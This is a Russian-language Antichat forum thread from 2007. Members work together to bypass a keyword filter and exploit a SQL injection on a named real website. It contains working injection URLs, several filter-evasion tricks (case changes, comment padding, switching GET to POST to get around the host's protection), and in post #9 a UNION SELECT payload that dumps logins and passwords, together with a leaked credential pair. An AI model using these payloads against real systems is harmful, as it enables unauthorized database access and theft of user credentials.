ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

обход фильтрации запрещённых слов в MySql
  #1  
Старый 22.12.2007, 15:00
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
Cool обход фильтрации запрещённых слов в MySql

Капался на просторах интернета и наткнулся на скул. Инъекция, как инъекция, даже ковычки не экранируются, но вот косяк, что фильтруется слово from. Ну и стал думать, как можно обойти фильтрацию. Долго не думал, потому что нечто подобное уже делали с пхп. Надо как-то зашифровать и потом расшифровать строку. Чем я и занялся. Покопался на разных ресурсах по MySQL и нашел несколько функций кодировки/декодировки строк. Начал экспериментировать. На моё удивление получилось следующее:
при подстановке
PHP код:
-1+union+select+des_encrypt(database(),'3')+/* 
выводилась строка "яcЌцI{ПџwЊ)яVeЖ…" далее подставляя
PHP код:
-1+union+select+des_decrypt('яcЌцI{ПџwЊ)яVeЖ…','3')+/* 
На экране появлялась версия дб...
Поэкпериментировав на локальном серве денвера получил следующее

PHP код:
mysqlselect aes_encrypt(version(),'12');
+-----------------------------+
aes_encrypt(version(),'12') |
+-----------------------------+
| &
#9492;/Ь0⌂Ва{ў_wВ╢ьДО            |
+-----------------------------+
1 row in set (0.00 sec)

mysqlselect aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12');
+--------------------------------------+
aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12') |
+--------------------------------------+
4.1.16-max                           |
+--------------------------------------+
1 row in set (0.00 sec)

mysqlselect ENCODE(user(),'2');
+--------------------+
ENCODE(user(),'2') |
+--------------------+
рL♂3М▬Яч╣,↓Gєs     |
+--------------------+
1 row in set (0.00 sec)

mysqlselect decode('рL♂3М▬Яч╣,↓Gєs','2');
+------------------------------+
decode('рL♂3М▬Яч╣,↓Gєs','2') |
+------------------------------+
ODBC@localhost               |
+------------------------------+
1 row in set (0.00 sec)

mysql
Главное не потерять ни одного символа. Но цели я своей так и не добился, нифига пока не обошёл фильтрацию...Вот собственно вопрос: КАК?!!??! Как это можно использовать?

Последний раз редактировалось AFoST; 22.12.2007 в 15:58..
 
Ответить с цитированием

  #2  
Старый 23.12.2007, 01:33
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

ну если фильтруется from, то вариант это использование подзапросов, далее надо поэксперементировать как именно фильтруется from, может быть фильтруется только в нижнем регистре, тогда можно попробовать FROM, иногда бывает фильтрация и верхний и нижний регистр фильтруется (как не странно видел один раз такое не с FROM конечно, но это не важно, тупость остается тупостью, конечно легче перевести $_REQUEST в нижний регистр и проверить на from, но фиг знает что употреблял кодер, на момент написания скрипта), тогда можно FrOm попробовать. from может фильтроваться с пробелом напимер " From" или "from ", тогда пробелы можно заменить на /**/ например так :
Цитата:
select 1/**/from/**/tbl
а aes_encrypt, в связке с aes_decrypt используется для обхода ошибок связанных с кодировкой, т.е. в aes_encrypt ты посылаешь какоето значение (например результат выполнения функции version()) ну и ключ шифрования т.к. aes - алгоритм симметричного шифрования и ты знаешь ключ, то ты сразу же можешь зашифрованное значение расшифровать с помощью aes_decrypt но выведет результат эта функция уже в правильной кодировке, т.е. общая формула такая M=Dk(Ek(M)), M - открытый текст, Ek - функция зашифровки с ключем k, Dk -функция расшифровки с ключем k, т.е.
Цитата:
version()=aes_decrypt(aes_encrypt(version(),0x71), 0x71)
при этом aes_decrypt(aes_encrypt(version(),0x71),0x71) дает результат в "своей", т.е. в нужной кодировке, обычно для этого эти функции и используют, пример
Цитата:
select aes_decrypt(aes_encrypt(version(),0x71),0x71)
выдаст версию mysql
__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 23.12.2007 в 01:40..
 
Ответить с цитированием

  #3  
Старый 23.12.2007, 01:51
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

Фильтруется from в любом известном проявлении в GET запросе, даже в случае "-1+union+select+'from'+/*" ... А про декрипт/инкрипт уже сам допёр. Но к сожалению это очень врядли можно использовать чтобы обойти эту фильтрацию...ибо user(), как я узнал, является в мускуле лишь строковой переменной, а если криптовать/декриптовать 'from' то вместо того, что нужно получится лишь ошибка

Да собственно вот ссылка, мне уже просто интересно, кто-ибудь обойдёт фильтрацию!? Отпишитесь тут плз...оч прошу.
www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+user()+/*
 
Ответить с цитированием

  #4  
Старый 23.12.2007, 02:15
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

фильтруется только гет запрос, щас проверил, через пост всёнормально отправляется
Юзай Post =)
ЗЫ Это sweb хостинг, его защита легко обходится заменив GET запрос на POST
Тут на форуме есть скрипт от Мэднета, вот залил что бы не искать
http://ziroday.narod.ru/post.php

Последний раз редактировалось Spyder; 23.12.2007 в 02:20..
 
Ответить с цитированием

  #5  
Старый 23.12.2007, 02:20
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Вот не фильтруется нифига:
http://www.internatura.ru/index.php?op=cat&sec=24&gn=5785+order+by+1/*from*//*

у меня плохо работающий жопорез, поэтому раскрутить не получится, а вобще это показывает, что from не фильтруется
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #6  
Старый 23.12.2007, 02:25
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Scipio, ты не совсем прав
Например
http://www.internatura.ru/index.php?op=cat&sec=24&gn=5785+order+by+from/*
тоже не фильтруется, но при
www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+user()+from+mda/*
перекидывает на sweb, это их знаменитая хэк защита, которая (как я написал выше) обходится отправиь запрос методом пост
 
Ответить с цитированием

  #7  
Старый 23.12.2007, 02:28
Аватар для ENFIX
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
Провел на форуме:
1628290

Репутация: 474
Отправить сообщение для ENFIX с помощью ICQ
По умолчанию

Довольно интересно...))
Запрос откидывается, если в запросе (масло маслянное) присутствуют Union, Select, From, именно в такой последовательности...
Тут думаю или пост, или пробовать подзапросы
 
Ответить с цитированием

  #8  
Старый 23.12.2007, 02:36
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Цитата:
Сообщение от Spyder  
Scipio, ты не совсем прав
Например
http://www.internatura.ru/index.php?op=cat&sec=24&gn=5785+order+by+from/*
тоже не фильтруется, но при
www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+user()+from+mda/*
перекидывает на sweb, это их знаменитая хэк защита, которая (как я написал выше) обходится отправиь запрос методом пост
угу, когда пробовал меня на sweb не перекинуло, поэтому не заметил, сейчас посмотрел, ты прав абсолютно, мля пров достал уже с профилактикой, а жопрез у нас работает через свое название
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #9  
Старый 23.12.2007, 02:40
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Да йопт, чё пробовать то))) Пост работает, сам проверял
Кстати там ещё фильтруется слово /etc/passwd
Вобщем вот
http://www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+concat_ws(':',login,password)+from+ users/*
viktor:1940
 
Ответить с цитированием

  #10  
Старый 23.12.2007, 11:50
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

Spyder, прсто respect!!! Пост запросом имхо лучше через inetcrack пользоваться Скопировал хеад от гета, заменил метод и чуть подправил

Последний раз редактировалось AFoST; 23.12.2007 в 13:48..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Эффективные Слепые Иньекции Евгений Минаев Авторские статьи 10 31.05.2008 09:43
Общие Рекомендации Защиты (MySQL и SQL Web-интерфейс) k00p3r Чужие Статьи 0 13.06.2005 11:22
Защищаем MySql. Шаг за шагом k00p3r Чужие Статьи 0 13.06.2005 11:18
SQL инъекция в сервере MySQL k00p3r Чужие Статьи 0 12.06.2005 12:41
Обход регистрации в Invision Power Board v1.3 Final DeeIP Форумы 1 10.04.2005 20:35



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ